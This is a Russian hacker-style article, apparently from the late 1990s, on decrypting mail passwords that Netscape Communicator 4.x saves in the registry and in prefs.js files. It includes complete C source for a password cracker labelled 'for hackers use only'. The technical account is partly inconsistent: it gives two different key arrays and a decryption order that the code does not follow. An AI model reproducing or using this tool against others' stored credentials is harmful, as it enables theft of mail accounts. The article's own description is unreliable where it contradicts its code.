• Партнер

  • После прочтения
    ,возможно, ты больше захочешь юзать продукцию
    доблестной фирмы Netscape, но не забывай,что мы уже
    писали о взломах зае...тьфу...The Bat!`a и M$ Outглюка, так
    что пора поставить какой-нибудь отстойный, но
    неглючный мэйлер...

    В данной статье рассматриваются
    алгоритмы шифрования/дешифрования паролей для
    почтового сервера (pop3:110) в весьма популярном
    браузере Netscape Communicator. Cуществует возможность
    получения настроек пользователя через браузер.
    Среди них и пароль пользователя для почтового
    сервера. Эти настройки хранятся в файлах *.js (в
    MustDie9x - prefs.js, liprefs.js, а в Linux - preferences.js). Кроме того, в
    Windows-версии настройки юзверя также хранятся в
    реестре:

    [HKEY_CURRENT_USER\Software\Netscape\Netscape
    Navigator\biff\users\<юзвер>\servers\<сервер>]
    "password"="зашифрованный_пароль1"

    В файлах настроек *.js пароль лежит в
    таком виде:

    user_pref("mail.pop_password","зашифрованный_пароль2");

    Алгоритмы шифрования в первом и
    втором случае (в реестре и в файле *.js) слегка
    отличаются. Для реестра этот алгоритм можно
    изобразить, например, так:

    1) pass --> XOR(key) --> Base64_encode --> ROT13 -->
    Reverse --> encrypted_pass

    или так:

    encrypted_pass = Reverse(ROT13(Base64_encode(XOR(pass,key))));

    Для второго случая этот алгоритм
    значительно проще:

    2) pass --> XOR(key) --> Base64_encode --> encrypted_pass

    или

    encrypted_pass = Base64_encode(XOR(pass,key));

    где XOR - последовательный xor по ключу
    key; XOR - это алгоритм с массивом элементов: 035h, 09Ah,
    0A6h, 053h, 0A9h, 0D4h, 06Ah. Каждому символу пароля
    соответствует один элемент массива для шифровки,
    то есть максимальная длина пасворда - 8 символов.
    ROT13 - кодирование на основании циклического
    сдвига латинского алфавита на 13 символов;
    Reverse - реверсирование строки; Base64_encode -
    кодирование MIME (см. RFC2045). Что касается ключа, по
    которому XOR-ится пароль, он фиксирован и
    представляет собой такую последовательность
    байт (в 16-ричной(HEX) системе счисления): 

    56, C9, EF, 4A, 9B, BE, 5A, 42, ...

    На самом деле это только первые 8
    байт ключа, продолжение его можно легко найти,
    имея зашифрованный пароль длиной более 8
    символов. Правда, такие пароли встречаются
    довольно редко.

    Для дешифрования используются те же
    алгоритмы, что и для шифрования,только в обратном
    порядке, за исключением Base64_encode, вместо которого
    используется алгоритм декодирования Base64:

    1) pass = Reverse(ROT13(Base64_decode(XOR(encrypted_pass,key))));

    2) pass = Base64_decode(XOR(encrypted_pass,key));

    Ниже приводится исходник программы
    на C, позволяющая расшифровать пароль в обоих
    случаях (из реестра и из файлов настроек *.js).

    /*
    * Netscape Communicator vX.X Password Cracker
    * Let`s go Hack this SUX!!
    *
    * For hackers use only.
    */

    #include <stdio.h>
    #include <stdlib.h>

    char p[12], dp[9],
    key[] = { 0x56, 0xc9, 0xef, 0x4a, 0x9b, 0xbe, 0x5a, 0x42 };

    char *
    rot13 (char *str)
    {
    int i;
    char c, s;
    for(i=0;i<strlen(str);i++)
    {
    c=str[i];
    if (c>='a' && c<='z') s='a';
    else if (c>='A' && c<='Z') s='A';
    else s=0;
    if(s>0) c=(c-s+13)%26;
    str[i]=c+s;
    }
    return str;
    }

    char *
    strrev(char *ptr)
    {
    int i,l;
    char t;
    l = strlen(ptr)-1;
    for(i=0;i<=l>>1;i++)
    {
    t = ptr[i];
    ptr[i] = ptr[l-i];
    ptr[l-i] = t;
    }
    return ptr;
    }

    int
    cvt_ascii( unsigned char a )
    {
    if ( (a >= 'A') && (a <= 'Z') ) return (int)(a - 'A');
    else if ( (a >= 'a') && (a <= 'z') )
    return 26 + (int)(a - 'a');
    else if ( (a >= '0') && (a <= '9' ) )
    return 52 + (int)(a - '0');
    else if ( a == '+' ) return 62;
    else if ( a == '/' ) return 63;
    else if ( a == '=' ) return -2;
    else return -1;
    }

    int
    base64_decode (char *buf, char *dest)
    {
    int i, sh=0, ds=0, offs=0;
    unsigned char bv;
    unsigned long ac=0, vl;

    for (i = 0; (buf[i] != '\n') && (buf[i] != '\0') && (ds >= 0); i++ )
    {
    if (((buf[i] >= 'A') && (buf[i] <= 'Z') ) ||
    ((buf[i] >= 'a') && (buf[i] <= 'z') ) ||
    ((buf[i] >= '0') && (buf[i] <= '9') ) ||
    (buf[i] == '+') ||
    (buf[i] == '/') ||
    (buf[i] == '=') )
    ds = 1;
    else
    ds = -2;
    }
    if ( ds <= 0 ) ds = 0;
    for (i = 0; (buf[i] != '\n') && (buf[i] != '\0'); i++)
    {
    vl = cvt_ascii( buf[i] );
    if ( vl < 64 ) {
    ac <<= 6;
    sh += 6;
    ac |= vl;
    if ( sh >= 8 ) {
    sh -= 8;
    vl = ac >> sh;
    bv = (unsigned char)vl & 0xFFl;
    *(dest+offs) = bv;
    offs++;
    }
    }
    else break;
    }
    return offs;
    }

    void main()
    {
    int i, cn;
    printf("Netscape Communicator Password Cracker \n");
    printf("Encrypted password: ");
    scanf("%12s", p);
    if(*p=='=')
    rot13(strrev(p));
    cn = base64_decode(p, dp);
    for(i=0;i<cn;i++)
    dp[i] ^= key[i%8];
    printf("Password: '%s'\n", dp);
    }

    Стоит отметить, что автор проги Elli0t.
    Все вышеизложенное проверялось на версиях 4.5 и
    4.08, но должно работать и на других версиях

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии